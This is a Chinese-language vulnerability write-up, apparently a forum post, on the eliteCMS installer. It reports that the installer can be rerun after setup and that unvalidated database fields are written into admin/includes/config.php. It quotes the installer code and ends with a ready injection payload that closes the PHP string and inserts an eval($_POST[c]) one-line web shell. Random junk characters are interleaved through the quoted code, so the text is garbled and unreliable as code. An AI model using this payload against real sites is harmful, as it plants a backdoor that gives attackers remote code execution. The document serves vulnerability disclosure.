eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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7 W  S  e) w4 D! E8 W! y另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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% s" f6 @  i3 H+ l2 V...
elseif ($_GET['step'] == "4") {
: T: e( }0 w$ K8 R- P% m) z. N    $file = "../admin/includes/config.php";
    $write = "<?php\n";
; _: {% ]! ?- i3 f1 ?* A    $write .= "/**\n";
    $write .= "*\n";
8 S* j/ G, J% ^% S- D    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
  v* @1 W# m/ n7 g$ H7 E$ _3 B    $write .= "*\n";
) H. g; Q4 M( ~9 A# r/ j7 {    $write .= "*/\n";
0 W6 Z  Z& e/ @5 ~4 J- x9 K    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
1 A& S% R( J  p. q2 z1 ?2 ]    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
$ j1 Y5 C' V" o8 h3 Q! S    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
" X. V1 m: a9 C! P( D% N    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
1 Z7 _+ _' W) q& g! [: j# y  b    $write .= "        \n";
4 v, D! E8 ?; ^( g8 ]    $write .= "} \n";
( y2 J+ i+ q$ Z) G    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
% A2 a' z; |$ r6 @    $write .= "        die(\"Database select failed\" .mysql_error());\n";
7 I1 B; k3 ~/ n- P    $write .= "        \n";
  ]( c! O& P! B    $write .= "} \n";
7 z; e( l% o- C% f: J    $write .= "?>\n";
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    $writer = fopen($file, 'w');
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在看代码：

) d* Z* w9 f5 O$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 k2 R* g8 i+ r4 p: @; N8 N! K0 ~# A: Y$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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取值未作任何验证
如果将数据库名POST数据：
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"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php